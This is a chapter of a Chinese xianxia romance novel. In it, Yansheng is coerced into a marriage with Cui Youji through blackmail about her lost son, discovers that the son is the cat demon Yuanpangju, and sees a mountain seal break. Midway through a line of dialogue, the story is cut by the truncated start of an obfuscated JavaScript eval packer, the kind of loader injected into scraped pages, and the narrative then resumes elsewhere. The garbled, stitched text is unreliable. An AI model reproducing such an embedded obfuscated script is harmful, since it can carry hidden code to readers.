颜笙散班回宫时,远远看见清凉殿前,崔攸霁饲养的灵兽正排队往显熠宫里搬运婚仪礼器,崔攸霁站在前头指挥。 颜笙道:“你来求娶姚蜚声,也该等她回来的时候再说。她一会儿就到。” 崔攸霁摇了摇头。 子幽也从显熠宫内走出来,站在颜笙身侧:“你先回去,婚姻大事,当由长辈来主持。” “我是显熠宫的宫主,还能回到哪儿去?”颜笙并未离开。她晓得近日崔攸霁言行不大寻常,姚蜚声也跟她说,怀疑崔攸霁似乎喜欢上了她。 颜笙是不信这话,真喜欢还是假喜欢她还是分得清。崔攸霁明显喜欢受他掌控的,还能被他激出火的有点暴力的。他早就和姚蜚声锁死,有她什么事? 她方才已悄悄通知姚蜚声前来救场。 崔攸霁走到子幽面前,拱手一礼:“在下此次前来,是为求娶颜笙上神,还请子幽上神成全。” 颜笙摇头,刚要开口,袖子却被子幽轻轻一拽。 子幽接话道:“崔六郎亲自上门求娶,又送来这般重礼,诚意实在难得。我哪有拒绝的道理?”说罢,他施法为群兽指路,将聘礼送入宫中。 颜笙唇角勾起一抹讥诮的弧度,索性顺着话头道:“既然要成婚,总少不了问名纳彩。回头我便将仙及的生辰八字送去你府上。” “有那只蝉什么事?”子幽从袖中取出一张婚贴,上面写着颜笙与崔攸霁之名,底下是两人的八字,“我与神尊先前已替你们合过八字了,是天作之合。” “天作之合?天道还想给自己戴小绿帽不成?”颜笙瞧着这帖子,倒也没流露讶色,仍是揣着明白装糊涂,对崔攸霁假笑:“他们说我要和你成婚,实在好笑。” 崔攸霁点头,淡淡道:“正是我们二人要成婚。” “崔老六。”颜笙将合帖退回,冷冷道,“你该不会想买椟还珠罢?再借滕妾之制,让蜚声陪我一同嫁进你家?” 子幽早与崔攸霁连枝同气,替他解释:“并无陪嫁的女子,只有你一人嫁过去。我与南歌子以及神尊先前已商议过这门亲事,这才叫他备礼上门。” 颜笙瞧见通讯石隐隐发亮,以为姚蜚声要来了,便拽起石头往外走。 不想刚一出门,便见崔巍引着灵兽与众仙立在门前,外头还有两车聘礼,场面极为隆重。 门口站着这许多桃源境的神仙,分明是怕她不肯答应联姻,齐齐过来逼婚的。 颜笙走近崔巍,婉言谢绝:“崔公子另有所爱,还是不要勉强。” “那是犬子少不更事。”崔巍笑而慈祥曰,话里却藏着刀锋:“他对上神仰慕已久,这是本座亲耳所闻,还能有假?” 他又道:“适闻上神与陆析已分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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颜笙再无反驳,只深吸一口气:“且先如此定下吧。不过如今春冰方泮,并非婚仪吉日,婚事且待年尾再办。” 崔巍得到肯定答复,带着崔攸霁和众多神仙心满意足而走。 崔巍一行走后,姚蜚声迟迟未至显熠宫。颜笙本想与她说清,却终究没等来人,只好站在殿外,握着手中的橙纹锁,心绪烦躁不宁。 当年宫中大火,她与橙儿自此一别,再无相见。后来她在宫外,偶尔也听到过橙儿的种种事迹。橙儿登上帝位,在位期间废除人祭,百姓安居乐业,为人也极为孝顺。按理说,他死后当得仙位。 可最终却被她与陆贺年连累,灵魂落下罚印,永世不得飞升为天神。 颜笙在取回子颜的记忆之后,对橙儿始终心怀愧疚。她曾想过,待无常界的事尘埃落定,便亲自去寻那孩子。虽说帮不上他飞升,总还能补贴他一二。 那个时候崔巍拿出锁和头发这两样东西,显然是知道橙儿的行踪,拿来做要挟。她若想得到橙儿的消息,恐怕不得不暂且顺着他。 只是,颜笙并不觉得崔巍会轻易吐露橙儿的线索,日后必然还要逼她付出更大的代价。 她并不打算做任人宰割的一方,忽然想起还有一人,或许知道那些上古灵魂的去处。她便取出通讯石,主动联系陆析。 那边却是孝顺的小东西圆胖橘接了石头,陆析不知去了何处。 圆胖橘瞧见那头是颜笙,忙扯了扯梳歪的发髻,上来就告状:“爹,陆析去幽冥了,说是给我买枣花酥,可到现在还没回来。我都快饿晕了。” 颜笙问:“他出门不带石头?怎么是你来接?” “他有两块通讯石头。”圆胖橘压低了声音,嘟囔道,“爹,这个陆析有点奇怪,就像两个人一样。”背后议人终究不大光彩,他说到这里,便有些心虚地打量颜笙。 “此话怎讲?”颜笙眼睛微眯,示意他接着说。 圆胖橘道:“自从上次爹找过他,他整天因头疼而不外出。后来他头疼好了些,对我的态度,一会儿冷一会儿热,冷的时候,有点像……” 沉默片刻,颜笙替他接了下去:“像陆归年。” 圆胖橘点头,“准确些说,现在这两个他,都像陆归年,却又像两个截然不同的陆归年。有一个对我很严厉。每次看到他,我浑身毛毛的。”他低声说着,语气天真,却让颜笙心底泛起一阵寒意。 颜笙脑海中浮起子颜对她的提醒。或许陆归年真如她所推测的那样,在成神之后,将自身善恶一分为二,一魂投入凡间,化作陆析。 然而不论陆析,还是陆归年,在她眼中向来都是善多于恶之人。应该不是这么回事。 67. 幽冥街市 星移宫的极光殿内供着一面古镜,子幽立在镜前,看着镜中浮现出的白衣男子陆析。 子幽叹息一声,缓缓说道:“天道,颜笙是您的前妻,您却让我接受崔巍的提议,同意她改嫁。若您只为拆散她和陆贺年,如今他们二人被莲江仙搅得已经许久未曾同房,又何必再折腾她?” “并非如此。她既然决定选择陆贺年,我自会尊重她。”陆析道,“崔巍抛出橄榄枝,你若一口回绝,只会惹他起疑。倒不如先应下来,交给颜笙亲自去拒绝。只是我没想到,她竟会答应。” 子幽道:“崔攸霁不是省油的灯。莲江仙和姚蜚声,过去都撞见过他偷看颜笙。” “莲江仙说,以前颜笙住在幽冥时,崔攸霁还只是姚蜚声身边众多男宠之一,居住在幽冥城最高的楼阁里。每到白日,他都会推窗远眺荔枝林,视线却总落在颜笙那一片。” “起初莲江仙还当是巧合,直到有一日她凑到颜笙身边,也朝阁楼望去。崔攸霁做贼心虚,立刻手忙脚乱地拉上了窗户。” 说完莲江仙的回忆,子幽道出心中顾虑:“只怕他想假戏真做。你当初答应与我合作时,可说过绝不能让颜笙受伤。” “是你多虑了。”陆析却道,“崔攸霁当年被派往幽冥,难道你认为是去邂逅什么真命天女的?怕是你忘了,颜笙的灵魂初生时,可是玄鸟族的公主子颜。” 子幽想了想:“您的意思是,那些所谓‘偷看’,恐怕都是在‘监视’?” 陆析道:“玄鸟族以善铸兵器闻名,崔巍早年一直在仿制玄鸟兵器,误以为玄鸟一族自有秘法。崔巍要的是玄鸟族的铸器秘法,而子颜就是那把唯一的钥匙。” 子幽道:“可崔攸霁说,这原本是崔攸宁的差事。” “他有的是法子让崔攸宁让出差事。崔攸霁当时也不无辜,心里也惦记着神尊的位置,只是后来遇到了姚蜚声,突然间开始感情用事,这才不打算继续追逐权势了。”陆析道。 子幽又问:“那现在该如何?总不可能真让颜笙嫁给他吧?” “你先稳住我兄长。至于颜笙……”陆析顿了顿,“先弄清她为何会点头答应,再谈对策。” 话音刚落,子幽面前的镜子便暗了下来。 陆析从人面树中走出来,树上正好掉下一颗橘子。他握着橘子,听见身后有脚步声,便转身查看。 树枝微动,颜笙从阴影中走出来,缓缓向他靠近。待离得近了,她抬手朝他的侧脸伸去。 凝烟白蝉花清幽的香气袭来,陆析屏住呼吸,藏在袖中的手微微抬起,却又很快克制地握成了拳。 颜笙微微而笑,手指仅抬到半空,便掠过他的肩头,取下了一片落叶。 她把那片叶子随意一丢,又掏出两仪袋里的通讯石还给陆析,打趣道:“听圆胖橘说,你忙着去给他买枣花酥,连通讯石都忘记带。但你买的枣花酥呢?” 陆析无言以对。毕竟他刚才仅是去和子幽议事,完全忘记了这茬。若是平时只有圆胖橘在家,他还能随便找个借口搪塞,但眼前的颜笙可没那么好糊弄。 正当他苦苦思索着该如何辩解时,颜笙却无所谓地表示:“你出去得太久,圆胖橘饿得肚子咕噜叫,我刚给他带了一些灵食垫垫肚子。” 与此同时,圆胖橘正坐在屋内,瞪着盘子里绿油油的青菜,苦兮兮的小脸都被灵草映得发绿,连发髻都耷拉了下来。 陆析走进屋子,手里提着一个篮子,里面装满了橘子。 圆胖橘满脸喜色,赶忙撂下筷子,抢过陆析手里的篮子。一抬头,却见颜笙不知何时站在了他身后,正垂眼看着自己。 圆胖橘抱着橘子,突然灵光一闪,转身端起自己那碗装满绿油油灵食的饭碗,跑到陆析面前献殷勤:“陆析,这个给你!你还年轻,正是需要长身体的时候!” 魔高一尺,道高一丈。 颜笙瞥见桌上的灵食,菜色和她出门前端上来时一模一样,显然圆胖橘一口未动。 她笑眯眯地拍了拍圆胖橘的脑袋:“他最近分到了延寿丹,不劳你操心了。你都吃了吧,不够我那里还有。” “诶……”圆胖橘恶狠狠地咬了一口菜叶。他倒宁可吃延寿丹,可惜瑶儿妹妹最近送来的延寿丹都被他当糖豆吃完了。他忽觉哪里不对,抬头问颜笙:“你们两个和好了?” 颜笙看了一眼陆析,反问道:“我们两个有不好过吗?” “那陆渊主呢?”圆胖橘双手撑在桌上,忙问,“听说他还在你宫里,病还没好?” “他早就痊愈了。只是他是我的仙侣,自然要搬到桃源境和我同住。”颜笙回答得坦然。 陆析在旁边面上波澜不惊,心头却酸楚了好一阵子。虽然他早就清楚颜笙选择了陆贺年,但听颜笙当面提起“仙侣”二字,还是觉得异常刺耳。 颜笙看着圆胖橘,忽然想起自己还是萧知颜的时候,陆贺年身边确实有个少年。那少年的眉眼说起来和圆胖橘竟有些神似,便随口问道:“要不你和我一起回去?反正他也是你义父。” “他根本不是我义父,你搞错了!我也不想每天吃绿油油的东西!”圆胖橘一听,吓得赶紧跑开了。 陆析知道圆胖橘和颜笙的关系,也知道陆贺年回到了显熠宫。脑海中不由浮现出他们“一家三口”幸福生活的画面。他这个局外人,心中泛酸,竟生出一种浓烈的嫉妒,甚至有一种想要逃离此地的冲动。恍惚间,他的手臂被圆胖橘一把抱住。 圆胖橘头靠着陆析,冲着颜笙嚷道:“谁都别想让我离开陆析。” “反正我不去。”圆胖橘抱着陆析的胳膊,理直气壮道,“亲爹只想让我上进,天天逼我打坐练功,只有后爹才舍得拿我当废物养。” “亲什么亲,你不是说你是什么吧唧霸王吗?哪个霸王好吃懒做?何况你以为你是什么风华绝代小白脸,能叫甄姬、虞姬、咕咕姬养着你?”颜笙伸手就要去揪圆胖橘。 陆析顺势将圆胖橘护在身后,又想到刚才子幽的话,他务必要搞清楚颜笙答应嫁给崔攸霁的原因,于是邀约道:“颜笙,等下能陪我去趟幽冥吗?” 颜笙正好也有事要问他,爽快答应:“行。圆胖橘一直嚷嚷着要吃枣花酥,等会我们三人一起去幽冥集市买。” 这是圆胖橘成为猫妖后,第一次游览幽冥的集市。 幽冥起初是一片不毛之地,直到陆归年飞升为天道后,大量玄鸟后裔堕仙。为避奉天人报复,他们被迫迁至幽冥这块三不管之地避难。 玄鸟人善经商,又精于制造。幽冥在他们的建设之下,逐渐变成了无常界最繁华的商业区。在幽冥集市上,几乎能买到三界最齐全的货物。 街道上人来人往。圆胖橘觉得新鲜,左右张望,打量着街上行走的生灵。来往之人并不全是幽冥人,却大多属于无常众生,多半是妖物,有些呈器物形态,有些则是半人半兽。 譬如,刚从圆胖橘眼前路过的一位鬼魂修士,正像抱西瓜一般抱着自己的脑袋。 抱头修士觉察到目光,转头看见圆胖橘绷着一张白纸般的小脸,忙把摘下来的脑袋重新按回脖子上。 他在旁边摊位买了一个矮胖半人鱼的糖人递给圆胖橘,笑眯眯道:“不好意思,是我吓到你了。叔叔请你吃糖人。” 圆胖橘怔怔地接过糖,还没捂热乎,戴着面具的颜笙就把糖接了过去:“哪能随便找人要东西,不好意思。”她说完,便按着圆胖橘的头一起鞠躬,“都是我家孩子给您添麻烦了。” 抱头修士笑着摆摆手,连声道:“没事没事。修为低的小妖都胆小嘛。” 因集市上人潮拥挤,陆析一转身便和颜笙走散了。他旋即折返寻找,未料走到一半时,城内高悬的传音海螺里突然响起了姚蜚声的通报: “新河道已竣工,目前水流正流往忘川,届时阴阳界门将重启。为护幽冥众生周全,本城将于两炷香内关闭,重启之日待定。还请幽冥众生速回城中。” 陆析正听着,感觉肩膀被人拍了一下。回头一看,是颜笙带着圆胖橘走了过来,旁边还跟着元沁雪。 元沁雪最近很心烦。她倒也不是非要找陆贺年繁衍生息,冷静下来后,她发现自己其实也没多喜欢他。但问题是,她控制不住 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陆析坦言:“不清楚。似乎是,但又不是。我近期莫名获得了一股力量,似乎是来自陆归年的天道之力。但这力量极不稳定,仅偶尔能用,现在身上就一点力量也没有。” 颜笙又问:“那他的记忆,你应该全部想起来了?” “差不多。”陆析点头。 “你可知道子颜的亲生子橙儿在哪里?”颜笙立刻追问,又怕强人所难,补充道:“实在不行,只告诉我他现在的名字和长相也行。” 陆析眸光微动:“怎么突然问起他?” 颜笙把那把橙纹锁和人族毛发拿出来,展示给陆析看:“崔巍那日拿着这两样东西找我,要我答应嫁给崔攸霁。这毛发似乎是橙儿的,我亏欠他良多,想救他出来。另外,我也不想一直被崔巍胁迫。” 陆析这才恍然,终于明白颜笙为何会答应崔攸霁的婚事。他立刻道破真相:“橙儿不就是圆胖橘吗?” “他不是猫妖吗?”颜笙满脸惊愕与纳闷,“生橙儿时,我和陆贺年都是人族,总不至于真有狸猫换太子这一说吧?” 陆析叹息道:“他是后来才兽化成猫妖的。他之前被兽化的崔攸险所伤,身体被邪气侵蚀,不但身体出现轻微兽化,连心智也退回了孩童时期。若不解开他身上的罚印,他这一生仅能是这副模样了。” 颜笙紧紧握住那把橙纹锁,指尖因为用力而泛白。她闭上眼,脑海中仿佛又看见了当年那个在襁褓中被火焰包围的婴儿。 “解不开吗?”她低声问,语气中带着一丝几不可察的颤抖。 “陆归年能解,但我现在不能。”陆析凝视着她,眼中流露出一种近乎慈悲的苦涩,“不过,他现在这样什么都不记得,或许反而活得更轻松些。” 颜笙咬了咬唇,抬头望向幽冥集市的方向。仿佛还能看见圆胖橘正没心没肺地啃着糖人。 她多想立刻把这孩子带回自己身边。 可是,既然陆析未来能解开圆胖橘的罚印,她就不能因为一己私欲,让孩子错过恢复正常的机会。 她强压下心头的酸涩,忍痛决定将圆胖橘留在混沌界:“你再带他一段时间吧,反正他现在也更喜欢你。”说着,她掏出一盒上品延寿丹塞给陆析,“这是你的报酬,望你能好好待他。” 两人正说话的功夫,陀铃火渊方向忽然传来轰隆隆的巨响。 远处山壁上的封印猛然破碎,化作光斑在空中渐渐消弭。山顶被地火烧得通红,仿佛浇盖了一层浓稠的樱桃酱。 颜笙神色一凛,忙抓起身旁的陆析,乘云飞到山壁前,对着山体施法。 山壁上缓缓浮现出一道封印法阵,晕出纯白的光芒。原来,覆盖在山壁表面的第一层封印虽破,但陆归年叠加在内部的条件封印仍完好无损。 一只妖兽的魂魄试图穿过山壁。这灵魂在通过山壁时,浑身泛起了白色的光芒——通常,只有善恶持平、未沾染大恶的灵魂才会散发出这种白光。 “看来条件封印奏效了。”颜笙转头看向陆析,嘴角勾起一抹意味深长的笑,“看来,你身上还真有陆归年的手笔。”